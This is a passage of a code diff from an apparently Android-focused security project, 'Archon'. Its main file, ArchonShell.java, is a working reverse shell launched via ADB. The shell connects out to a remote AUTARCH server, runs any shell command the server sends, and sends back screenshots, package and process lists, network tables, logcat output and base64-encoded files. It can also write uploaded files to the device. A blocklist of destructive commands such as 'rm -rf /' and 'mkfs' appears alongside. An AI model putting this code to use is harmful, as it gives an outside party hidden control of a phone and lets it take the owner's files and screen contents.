String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
|
||||||
|
String line = timestamp + " [" + TAG + "] " + msg;
|
||||||
|
System.out.println(line);
|
||||||
|
|
||||||
|
try {
|
||||||
|
FileWriter fw = new FileWriter(LOG_FILE, true);
|
||||||
|
fw.write(line + "\n");
|
||||||
|
fw.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
// Can't write log file — not fatal
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,659 @@
|
|||||||
|
package com.darkhal.archon.server;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileWriter;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.io.OutputStreamWriter;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.text.SimpleDateFormat;
|
||||||
|
import java.util.Date;
|
||||||
|
import java.util.Locale;
|
||||||
|
import java.util.concurrent.TimeUnit;
|
||||||
|
import java.util.concurrent.atomic.AtomicBoolean;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Archon Reverse Shell — outbound shell connecting back to AUTARCH server.
|
||||||
|
*
|
||||||
|
* Runs via app_process at shell (UID 2000) level, same as ArchonServer.
|
||||||
|
* Instead of LISTENING, this CONNECTS OUT to the AUTARCH server's RevShellListener.
|
||||||
|
*
|
||||||
|
* Started via ADB:
|
||||||
|
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
|
||||||
|
* --nice-name=archon_shell com.darkhal.archon.server.ArchonShell \
|
||||||
|
* <server_ip> <server_port> <auth_token> <timeout_minutes>
|
||||||
|
*
|
||||||
|
* Protocol (JSON over TCP, newline-delimited):
|
||||||
|
* Auth handshake (client → server):
|
||||||
|
* {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000}
|
||||||
|
* Server response:
|
||||||
|
* {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."}
|
||||||
|
*
|
||||||
|
* Command (server → client):
|
||||||
|
* {"type":"cmd","cmd":"pm list packages","timeout":30,"id":"abc123"}
|
||||||
|
* Response (client → server):
|
||||||
|
* {"type":"result","id":"abc123","stdout":"...","stderr":"...","exit_code":0}
|
||||||
|
*
|
||||||
|
* Special commands (server → client):
|
||||||
|
* {"type":"cmd","cmd":"__sysinfo__","id":"..."}
|
||||||
|
* {"type":"cmd","cmd":"__packages__","id":"..."}
|
||||||
|
* {"type":"cmd","cmd":"__screenshot__","id":"..."}
|
||||||
|
* {"type":"cmd","cmd":"__download__","id":"...","path":"/sdcard/file.txt"}
|
||||||
|
* {"type":"cmd","cmd":"__upload__","id":"...","path":"/sdcard/file.txt","data":"base64..."}
|
||||||
|
* {"type":"cmd","cmd":"__processes__","id":"..."}
|
||||||
|
* {"type":"cmd","cmd":"__netstat__","id":"..."}
|
||||||
|
* {"type":"cmd","cmd":"__dumplog__","id":"...","lines":100}
|
||||||
|
* {"type":"cmd","cmd":"__disconnect__"}
|
||||||
|
*
|
||||||
|
* Keepalive (bidirectional):
|
||||||
|
* {"type":"ping"} → {"type":"pong"}
|
||||||
|
*/
|
||||||
|
public class ArchonShell {
|
||||||
|
|
||||||
|
private static final String TAG = "ArchonShell";
|
||||||
|
private static final String LOG_FILE = "/data/local/tmp/archon_shell.log";
|
||||||
|
private static final int DEFAULT_TIMEOUT = 30;
|
||||||
|
private static final int CONNECT_TIMEOUT_MS = 10000;
|
||||||
|
private static final int KEEPALIVE_INTERVAL_MS = 30000;
|
||||||
|
|
||||||
|
// Same safety blocklist as ArchonServer
|
||||||
|
private static final String[] BLOCKED_PATTERNS = {
|
||||||
|
"rm -rf /",
|
||||||
|
"rm -rf /*",
|
||||||
|
"mkfs",
|
||||||
|
"dd if=/dev/zero",
|
||||||
|
"reboot",
|
||||||
|
"shutdown",
|
||||||
|
"init 0",
|
||||||
|
"init 6",
|
||||||
|
"flash_image",
|
||||||
|
"erase_image",
|
||||||
|
"format_data",
|
||||||
|
"> /dev/block",
|
||||||
|
};
|
||||||
|
|
||||||
|
private static String serverIp;
|
||||||
|
private static int serverPort;
|
||||||
|
private static String authToken;
|
||||||
|
private static int timeoutMinutes;
|
||||||
|
private static final AtomicBoolean running = new AtomicBoolean(true);
|
||||||
|
private static long startTime;
|
||||||
|
private static int commandCount = 0;
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
if (args.length < 4) {
|
||||||
|
System.err.println("Usage: ArchonShell <server_ip> <server_port> <token> <timeout_minutes>");
|
||||||
|
System.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
serverIp = args[0];
|
||||||
|
serverPort = Integer.parseInt(args[1]);
|
||||||
|
authToken = args[2];
|
||||||
|
timeoutMinutes = Integer.parseInt(args[3]);
|
||||||
|
startTime = System.currentTimeMillis();
|
||||||
|
|
||||||
|
log("Starting Archon Shell — connecting to " + serverIp + ":" + serverPort);
|
||||||
|
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
|
||||||
|
log("Timeout: " + timeoutMinutes + " minutes");
|
||||||
|
|
||||||
|
// Shutdown hook
|
||||||
|
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
|
||||||
|
log("Shutdown hook triggered");
|
||||||
|
running.set(false);
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Start timeout watchdog
|
||||||
|
Thread watchdog = new Thread(() -> {
|
||||||
|
long deadline = startTime + (timeoutMinutes * 60L * 1000L);
|
||||||
|
while (running.get()) {
|
||||||
|
if (System.currentTimeMillis() > deadline) {
|
||||||
|
log("Auto-timeout after " + timeoutMinutes + " minutes");
|
||||||
|
running.set(false);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
try { Thread.sleep(5000); } catch (InterruptedException e) { break; }
|
||||||
|
}
|
||||||
|
});
|
||||||
|
watchdog.setDaemon(true);
|
||||||
|
watchdog.start();
|
||||||
|
|
||||||
|
// Connect and run shell loop
|
||||||
|
Socket socket = null;
|
||||||
|
try {
|
||||||
|
socket = new Socket();
|
||||||
|
socket.connect(new InetSocketAddress(serverIp, serverPort), CONNECT_TIMEOUT_MS);
|
||||||
|
socket.setSoTimeout(KEEPALIVE_INTERVAL_MS * 2); // Read timeout for keepalive detection
|
||||||
|
socket.setKeepAlive(true);
|
||||||
|
|
||||||
|
log("Connected to " + serverIp + ":" + serverPort);
|
||||||
|
|
||||||
|
BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
|
||||||
|
PrintWriter writer = new PrintWriter(new OutputStreamWriter(socket.getOutputStream()), true);
|
||||||
|
|
||||||
|
// Send auth handshake
|
||||||
|
if (!authenticate(writer, reader)) {
|
||||||
|
log("Authentication failed — disconnecting");
|
||||||
|
System.exit(3);
|
||||||
|
}
|
||||||
|
|
||||||
|
log("Authenticated — entering shell loop");
|
||||||
|
|
||||||
|
// Main command loop: read commands from server, execute, return results
|
||||||
|
shellLoop(reader, writer);
|
||||||
|
|
||||||
|
} catch (IOException e) {
|
||||||
|
log("Connection failed: " + e.getMessage());
|
||||||
|
System.exit(2);
|
||||||
|
} finally {
|
||||||
|
if (socket != null) {
|
||||||
|
try { socket.close(); } catch (IOException ignored) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
log("Shell stopped — " + commandCount + " commands executed");
|
||||||
|
System.exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean authenticate(PrintWriter writer, BufferedReader reader) throws IOException {
|
||||||
|
// Gather device info
|
||||||
|
String model = getSystemProp("ro.product.model", "unknown");
|
||||||
|
String androidVer = getSystemProp("ro.build.version.release", "unknown");
|
||||||
|
int uid = android.os.Process.myUid();
|
||||||
|
|
||||||
|
String authMsg = "{\"type\":\"auth\",\"token\":" + jsonEscape(authToken) +
|
||||||
|
",\"device\":" + jsonEscape(model) +
|
||||||
|
",\"android\":" + jsonEscape(androidVer) +
|
||||||
|
",\"uid\":" + uid + "}";
|
||||||
|
|
||||||
|
writer.println(authMsg);
|
||||||
|
writer.flush();
|
||||||
|
|
||||||
|
// Wait for auth response
|
||||||
|
String response = reader.readLine();
|
||||||
|
if (response == null) return false;
|
||||||
|
|
||||||
|
String type = extractJsonString(response, "type");
|
||||||
|
if ("auth_ok".equals(type)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
String reason = extractJsonString(response, "reason");
|
||||||
|
log("Auth rejected: " + (reason != null ? reason : "unknown reason"));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void shellLoop(BufferedReader reader, PrintWriter writer) {
|
||||||
|
while (running.get()) {
|
||||||
|
try {
|
||||||
|
String line = reader.readLine();
|
||||||
|
if (line == null) {
|
||||||
|
log("Server closed connection");
|
||||||
|
running.set(false);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
String type = extractJsonString(line, "type");
|
||||||
|
if (type == null) continue;
|
||||||
|
|
||||||
|
switch (type) {
|
||||||
|
case "cmd":
|
||||||
|
handleCommand(line, writer);
|
||||||
|
break;
|
||||||
|
case "ping":
|
||||||
|
writer.println("{\"type\":\"pong\"}");
|
||||||
|
writer.flush();
|
||||||
|
break;
|
||||||
|
case "disconnect":
|
||||||
|
log("Server requested disconnect");
|
||||||
|
running.set(false);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
log("Unknown message type: " + type);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (java.net.SocketTimeoutException e) {
|
||||||
|
// Send keepalive ping
|
||||||
|
writer.println("{\"type\":\"ping\"}");
|
||||||
|
writer.flush();
|
||||||
|
} catch (IOException e) {
|
||||||
|
log("Connection error: " + e.getMessage());
|
||||||
|
running.set(false);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleCommand(String json, PrintWriter writer) {
|
||||||
|
String cmd = extractJsonString(json, "cmd");
|
||||||
|
String id = extractJsonString(json, "id");
|
||||||
|
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
|
||||||
|
|
||||||
|
if (cmd == null || cmd.isEmpty()) {
|
||||||
|
sendResult(writer, id, "", "No command specified", -1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
commandCount++;
|
||||||
|
log("CMD[" + commandCount + "] " + (cmd.length() > 80 ? cmd.substring(0, 80) + "..." : cmd));
|
||||||
|
|
||||||
|
// Handle special commands
|
||||||
|
switch (cmd) {
|
||||||
|
case "__sysinfo__":
|
||||||
|
handleSysinfo(writer, id);
|
||||||
|
return;
|
||||||
|
case "__packages__":
|
||||||
|
handlePackages(writer, id);
|
||||||
|
return;
|
||||||
|
case "__screenshot__":
|
||||||
|
handleScreenshot(writer, id);
|
||||||
|
return;
|
||||||
|
case "__processes__":
|
||||||
|
handleProcesses(writer, id);
|
||||||
|
return;
|
||||||
|
case "__netstat__":
|
||||||
|
handleNetstat(writer, id);
|
||||||
|
return;
|
||||||
|
case "__dumplog__":
|
||||||
|
int lines = extractJsonInt(json, "lines", 100);
|
||||||
|
handleDumplog(writer, id, lines);
|
||||||
|
return;
|
||||||
|
case "__download__":
|
||||||
|
String dlPath = extractJsonString(json, "path");
|
||||||
|
handleDownload(writer, id, dlPath);
|
||||||
|
return;
|
||||||
|
case "__upload__":
|
||||||
|
String ulPath = extractJsonString(json, "path");
|
||||||
|
String ulData = extractJsonString(json, "data");
|
||||||
|
handleUpload(writer, id, ulPath, ulData);
|
||||||
|
return;
|
||||||
|
case "__disconnect__":
|
||||||
|
log("Disconnect command received");
|
||||||
|
running.set(false);
|
||||||
|
sendResult(writer, id, "Disconnecting", "", 0);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Safety check
|
||||||
|
if (isBlocked(cmd)) {
|
||||||
|
log("BLOCKED dangerous command: " + cmd);
|
||||||
|
sendResult(writer, id, "", "Command blocked by safety filter", -1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Execute regular shell command
|
||||||
|
String response = executeCommand(cmd, timeout);
|
||||||
|
writer.println(addId(response, id));
|
||||||
|
writer.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Special command handlers ────────────────────────────────────
|
||||||
|
|
||||||
|
private static void handleSysinfo(PrintWriter writer, String id) {
|
||||||
|
StringBuilder info = new StringBuilder();
|
||||||
|
info.append("Device: ").append(getSystemProp("ro.product.model", "?")).append("\n");
|
||||||
|
info.append("Manufacturer: ").append(getSystemProp("ro.product.manufacturer", "?")).append("\n");
|
||||||
|
info.append("Android: ").append(getSystemProp("ro.build.version.release", "?")).append("\n");
|
||||||
|
info.append("SDK: ").append(getSystemProp("ro.build.version.sdk", "?")).append("\n");
|
||||||
|
info.append("Build: ").append(getSystemProp("ro.build.display.id", "?")).append("\n");
|
||||||
|
info.append("Kernel: ").append(getSystemProp("ro.build.kernel.id", "?")).append("\n");
|
||||||
|
info.append("SELinux: ").append(readFile("/sys/fs/selinux/enforce", "?")).append("\n");
|
||||||
|
info.append("UID: ").append(android.os.Process.myUid()).append("\n");
|
||||||
|
info.append("PID: ").append(android.os.Process.myPid()).append("\n");
|
||||||
|
info.append("Uptime: ").append((System.currentTimeMillis() - startTime) / 1000).append("s\n");
|
||||||
|
info.append("Commands: ").append(commandCount).append("\n");
|
||||||
|
|
||||||
|
// Disk usage
|
||||||
|
String df = quickExec("df -h /data 2>/dev/null | tail -1", 5);
|
||||||
|
if (df != null && !df.isEmpty()) info.append("Disk: ").append(df.trim()).append("\n");
|
||||||
|
|
||||||
|
// Memory
|
||||||
|
String mem = quickExec("cat /proc/meminfo | head -3", 5);
|
||||||
|
if (mem != null) info.append(mem);
|
||||||
|
|
||||||
|
sendResult(writer, id, info.toString(), "", 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handlePackages(PrintWriter writer, String id) {
|
||||||
|
String result = quickExec("pm list packages -f 2>/dev/null", 30);
|
||||||
|
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleScreenshot(PrintWriter writer, String id) {
|
||||||
|
// Capture screenshot to temp file, then base64 encode
|
||||||
|
String tmpFile = "/data/local/tmp/archon_screenshot.png";
|
||||||
|
String captureResult = quickExec("screencap -p " + tmpFile + " 2>&1", 10);
|
||||||
|
|
||||||
|
if (captureResult == null || new File(tmpFile).length() == 0) {
|
||||||
|
sendResult(writer, id, "", "Screenshot failed: " + (captureResult != null ? captureResult : "unknown"), -1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Base64 encode — read in chunks to avoid memory issues
|
||||||
|
String b64 = quickExec("base64 " + tmpFile + " | tr -d '\\n'", 30);
|
||||||
|
quickExec("rm " + tmpFile, 5);
|
||||||
|
|
||||||
|
if (b64 != null && !b64.isEmpty()) {
|
||||||
|
sendResult(writer, id, b64, "", 0);
|
||||||
|
} else {
|
||||||
|
sendResult(writer, id, "", "Failed to encode screenshot", -1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleProcesses(PrintWriter writer, String id) {
|
||||||
|
String result = quickExec("ps -A -o PID,UID,STAT,NAME 2>/dev/null || ps -A 2>/dev/null", 10);
|
||||||
|
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleNetstat(PrintWriter writer, String id) {
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
|
||||||
|
String tcp = quickExec("cat /proc/net/tcp 2>/dev/null", 5);
|
||||||
|
if (tcp != null) { sb.append("=== TCP ===\n").append(tcp).append("\n"); }
|
||||||
|
|
||||||
|
String tcp6 = quickExec("cat /proc/net/tcp6 2>/dev/null", 5);
|
||||||
|
if (tcp6 != null) { sb.append("=== TCP6 ===\n").append(tcp6).append("\n"); }
|
||||||
|
|
||||||
|
String udp = quickExec("cat /proc/net/udp 2>/dev/null", 5);
|
||||||
|
if (udp != null) { sb.append("=== UDP ===\n").append(udp).append("\n"); }
|
||||||
|
|
||||||
|
sendResult(writer, id, sb.toString(), "", 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleDumplog(PrintWriter writer, String id, int lines) {
|
||||||
|
String result = quickExec("logcat -d -t " + Math.min(lines, 5000) + " 2>/dev/null", 15);
|
||||||
|
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleDownload(PrintWriter writer, String id, String path) {
|
||||||
|
if (path == null || path.isEmpty()) {
|
||||||
|
sendResult(writer, id, "", "No path specified", -1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
File file = new File(path);
|
||||||
|
if (!file.exists()) {
|
||||||
|
sendResult(writer, id, "", "File not found: " + path, -1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (file.length() > 50 * 1024 * 1024) { // 50MB limit
|
||||||
|
sendResult(writer, id, "", "File too large (>50MB): " + file.length(), -1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
String b64 = quickExec("base64 '" + path.replace("'", "'\\''") + "' | tr -d '\\n'", 60);
|
||||||
|
if (b64 != null && !b64.isEmpty()) {
|
||||||
|
// Send with metadata
|
||||||
|
String meta = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
|
||||||
|
",\"stdout\":" + jsonEscape(b64) +
|
||||||
|
",\"stderr\":\"\",\"exit_code\":0" +
|
||||||
|
",\"filename\":" + jsonEscape(file.getName()) +
|
||||||
|
",\"size\":" + file.length() + "}";
|
||||||
|
writer.println(meta);
|
||||||
|
writer.flush();
|
||||||
|
} else {
|
||||||
|
sendResult(writer, id, "", "Failed to read file", -1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleUpload(PrintWriter writer, String id, String path, String data) {
|
||||||
|
if (path == null || path.isEmpty()) {
|
||||||
|
sendResult(writer, id, "", "No path specified", -1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (data == null || data.isEmpty()) {
|
||||||
|
sendResult(writer, id, "", "No data specified", -1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write base64 data to temp file, then decode to destination
|
||||||
|
String tmpFile = "/data/local/tmp/archon_upload_tmp";
|
||||||
|
try {
|
||||||
|
FileWriter fw = new FileWriter(tmpFile);
|
||||||
|
fw.write(data);
|
||||||
|
fw.close();
|
||||||
|
|
||||||
|
String result = quickExec("base64 -d " + tmpFile + " > '" + path.replace("'", "'\\''") + "' 2>&1", 30);
|
||||||
|
quickExec("rm " + tmpFile, 5);
|
||||||
|
|
||||||
|
File dest = new File(path);
|
||||||
|
if (dest.exists()) {
|
||||||
|
sendResult(writer, id, "Uploaded " + dest.length() + " bytes to " + path, "", 0);
|
||||||
|
} else {
|
||||||
|
sendResult(writer, id, "", "Upload failed: " + (result != null ? result : "unknown"), -1);
|
||||||
|
}
|
||||||
|
} catch (IOException e) {
|
||||||
|
sendResult(writer, id, "", "Upload error: " + e.getMessage(), -1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Command execution ──────────────────────────────────────────
|
||||||
|
|
||||||
|
private static boolean isBlocked(String cmd) {
|
||||||
|
String lower = cmd.toLowerCase(Locale.ROOT).trim();
|
||||||
|
for (String pattern : BLOCKED_PATTERNS) {
|
||||||
|
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String executeCommand(String cmd, int timeoutSec) {
|
||||||
|
try {
|
||||||
|
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
|
||||||
|
pb.redirectErrorStream(false);
|
||||||
|
Process process = pb.start();
|
||||||
|
|
||||||
|
StringBuilder stdout = new StringBuilder();
|
||||||
|
StringBuilder stderr = new StringBuilder();
|
||||||
|
|
||||||
|
Thread stdoutThread = new Thread(() -> {
|
||||||
|
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
|
||||||
|
String line;
|
||||||
|
while ((line = br.readLine()) != null) {
|
||||||
|
if (stdout.length() > 0) stdout.append("\n");
|
||||||
|
stdout.append(line);
|
||||||
|
}
|
||||||
|
} catch (IOException ignored) {}
|
||||||
|
});
|
||||||
|
|
||||||
|
Thread stderrThread = new Thread(() -> {
|
||||||
|
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
|
||||||
|
String line;
|
||||||
|
while ((line = br.readLine()) != null) {
|
||||||
|
if (stderr.length() > 0) stderr.append("\n");
|
||||||
|
stderr.append(line);
|
||||||
|
}
|
||||||
|
} catch (IOException ignored) {}
|
||||||
|
});
|
||||||
|
|
||||||
|
stdoutThread.start();
|
||||||
|
stderrThread.start();
|
||||||
|
|
||||||
|
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
|
||||||
|
|
||||||
|
if (!completed) {
|
||||||
|
process.destroyForcibly();
|
||||||
|
stdoutThread.join(1000);
|
||||||
|
stderrThread.join(1000);
|
||||||
|
return jsonResult(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
stdoutThread.join(5000);
|
||||||
|
stderrThread.join(5000);
|
||||||
|
|
||||||
|
return jsonResult(stdout.toString(), stderr.toString(), process.exitValue());
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
return jsonResult("", "Execution error: " + e.getMessage(), -1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Quick exec for internal use — returns stdout or null on failure. */
|
||||||
|
private static String quickExec(String cmd, int timeoutSec) {
|
||||||
|
try {
|
||||||
|
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
|
||||||
|
pb.redirectErrorStream(true);
|
||||||
|
Process process = pb.start();
|
||||||
|
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
Thread reader = new Thread(() -> {
|
||||||
|
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
|
||||||
|
String line;
|
||||||
|
while ((line = br.readLine()) != null) {
|
||||||
|
if (output.length() > 0) output.append("\n");
|
||||||
|
output.append(line);
|
||||||
|
}
|
||||||
|
} catch (IOException ignored) {}
|
||||||
|
});
|
||||||
|
reader.start();
|
||||||
|
|
||||||
|
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
|
||||||
|
if (!completed) {
|
||||||
|
process.destroyForcibly();
|
||||||
|
}
|
||||||
|
reader.join(2000);
|
||||||
|
return output.toString();
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getSystemProp(String key, String defaultVal) {
|
||||||
|
String result = quickExec("getprop " + key, 5);
|
||||||
|
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String readFile(String path, String defaultVal) {
|
||||||
|
String result = quickExec("cat " + path + " 2>/dev/null", 5);
|
||||||
|
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── JSON helpers ───────────────────────────────────────────────
|
||||||
|
|
||||||
|
private static void sendResult(PrintWriter writer, String id, String stdout, String stderr, int exitCode) {
|
||||||
|
String msg = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
|
||||||
|
",\"stdout\":" + jsonEscape(stdout) +
|
||||||
|
",\"stderr\":" + jsonEscape(stderr) +
|
||||||
|
",\"exit_code\":" + exitCode + "}";
|
||||||
|
writer.println(msg);
|
||||||
|
writer.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String jsonResult(String stdout, String stderr, int exitCode) {
|
||||||
|
return "{\"type\":\"result\",\"stdout\":" + jsonEscape(stdout) +
|
||||||
|
",\"stderr\":" + jsonEscape(stderr) +
|
||||||
|
",\"exit_code\":" + exitCode + "}";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String addId(String jsonResult, String id) {
|
||||||
|
if (id == null || id.isEmpty()) return jsonResult;
|
||||||
|
// Insert id field after opening brace
|
||||||
|
return "{\"type\":\"result\",\"id\":" + jsonEscape(id) + "," + jsonResult.substring(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String jsonEscape(String s) {
|
||||||
|
if (s == null) return "\"\"";
|
||||||
|
StringBuilder sb = new StringBuilder("\"");
|
||||||
|
for (int i = 0; i < s.length(); i++) {
|
||||||
|
char c = s.charAt(i);
|
||||||
|
switch (c) {
|
||||||
|
case '"': sb.append("\\\""); break;
|
||||||
|
case '\\': sb.append("\\\\"); break;
|
||||||
|
case '\b': sb.append("\\b"); break;
|
||||||
|
case '\f': sb.append("\\f"); break;
|
||||||
|
case '\n': sb.append("\\n"); break;
|
||||||
|
case '\r': sb.append("\\r"); break;
|
||||||
|
case '\t': sb.append("\\t"); break;
|
||||||
|
default:
|
||||||
|
if (c < 0x20) {
|
||||||
|
sb.append(String.format("\\u%04x", (int) c));
|
||||||
|
} else {
|
||||||
|
sb.append(c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sb.append("\"");
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String extractJsonString(String json, String key) {
|
||||||
|
String search = "\"" + key + "\"";
|
||||||
|
int idx = json.indexOf(search);
|
||||||
|
if (idx < 0) return null;
|
||||||
|
|
||||||
|
idx = json.indexOf(':', idx + search.length());
|
||||||
|
if (idx < 0) return null;
|
||||||
|
idx++;
|
||||||
|
|
||||||
|
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||||
|
if (idx >= json.length() || json.charAt(idx) != '"') return null;
|
||||||
|
idx++;
|
||||||
|
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
while (idx < json.length()) {
|
||||||
|
char c = json.charAt(idx);
|
||||||
|
if (c == '\\' && idx + 1 < json.length()) {
|
||||||
|
char next = json.charAt(idx + 1);
|
||||||
|
switch (next) {
|
||||||
|
case '"': sb.append('"'); break;
|
||||||
|
case '\\': sb.append('\\'); break;
|
||||||
|
case 'n': sb.append('\n'); break;
|
||||||
|
case 'r': sb.append('\r'); break;
|
||||||
|
case 't': sb.append('\t'); break;
|
||||||
|
default: sb.append(next); break;
|
||||||
|
}
|
||||||
|
idx += 2;
|
||||||
|
} else if (c == '"') {
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
sb.append(c);
|
||||||
|
idx++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int extractJsonInt(String json, String key, int defaultVal) {
|
||||||
|
String search = "\"" + key + "\"";
|
||||||
|
int idx = json.indexOf(search);
|
||||||
|
if (idx < 0) return defaultVal;
|
||||||
|
|
||||||
|
idx = json.indexOf(':', idx + search.length());
|
||||||
|
if (idx < 0) return defaultVal;
|
||||||
|
idx++;
|
||||||
|
|
||||||
|
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||||
|
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
|
||||||
|
sb.append(json.charAt(idx));
|
||||||
|
idx++;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
return Integer.parseInt(sb.toString());
|
||||||
|
} catch (NumberFormatException e) {
|
||||||
|
return defaultVal;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Logging ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private static void log(String msg) {
|
||||||
|
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
|
||||||
|
String line = timestamp + " [" + TAG + "] " + msg;
|
||||||
|
System.out.println(line);
|
||||||
|
|
||||||
|
try {
|
||||||
|
FileWriter fw = new FileWriter(LOG_FILE, true);
|
||||||
|
fw.write(line + "\n");
|
||||||
|
fw.close();
|
||||||
|
} catch (IOException ignored) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,151 @@
|
|||||||
|
package com.darkhal.archon
|
||||||
|
|
||||||
|
import android.content.Intent
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.os.Handler
|
||||||
|
import android.os.Looper
|
||||||
|
import android.widget.TextView
|
||||||
|
import android.widget.Toast
|
||||||
|
import androidx.appcompat.app.AppCompatActivity
|
||||||
|
import com.darkhal.archon.service.DiscoveryManager
|
||||||
|
import com.darkhal.archon.util.AuthManager
|
||||||
|
import com.darkhal.archon.util.PrefsManager
|
||||||
|
import com.google.android.material.button.MaterialButton
|
||||||
|
import com.google.android.material.textfield.TextInputEditText
|
||||||
|
|
||||||
|
class LoginActivity : AppCompatActivity() {
|
||||||
|
|
||||||
|
private lateinit var inputServerIp: TextInputEditText
|
||||||
|
private lateinit var inputPort: TextInputEditText
|
||||||
|
private lateinit var inputUsername: TextInputEditText
|
||||||
|
private lateinit var inputPassword: TextInputEditText
|
||||||
|
private lateinit var statusText: TextView
|
||||||
|
private lateinit var btnLogin: MaterialButton
|
||||||
|
private val handler = Handler(Looper.getMainLooper())
|
||||||
|
|
||||||
|
override fun onCreate(savedInstanceState: Bundle?) {
|
||||||
|
super.onCreate(savedInstanceState)
|
||||||
|
|
||||||
|
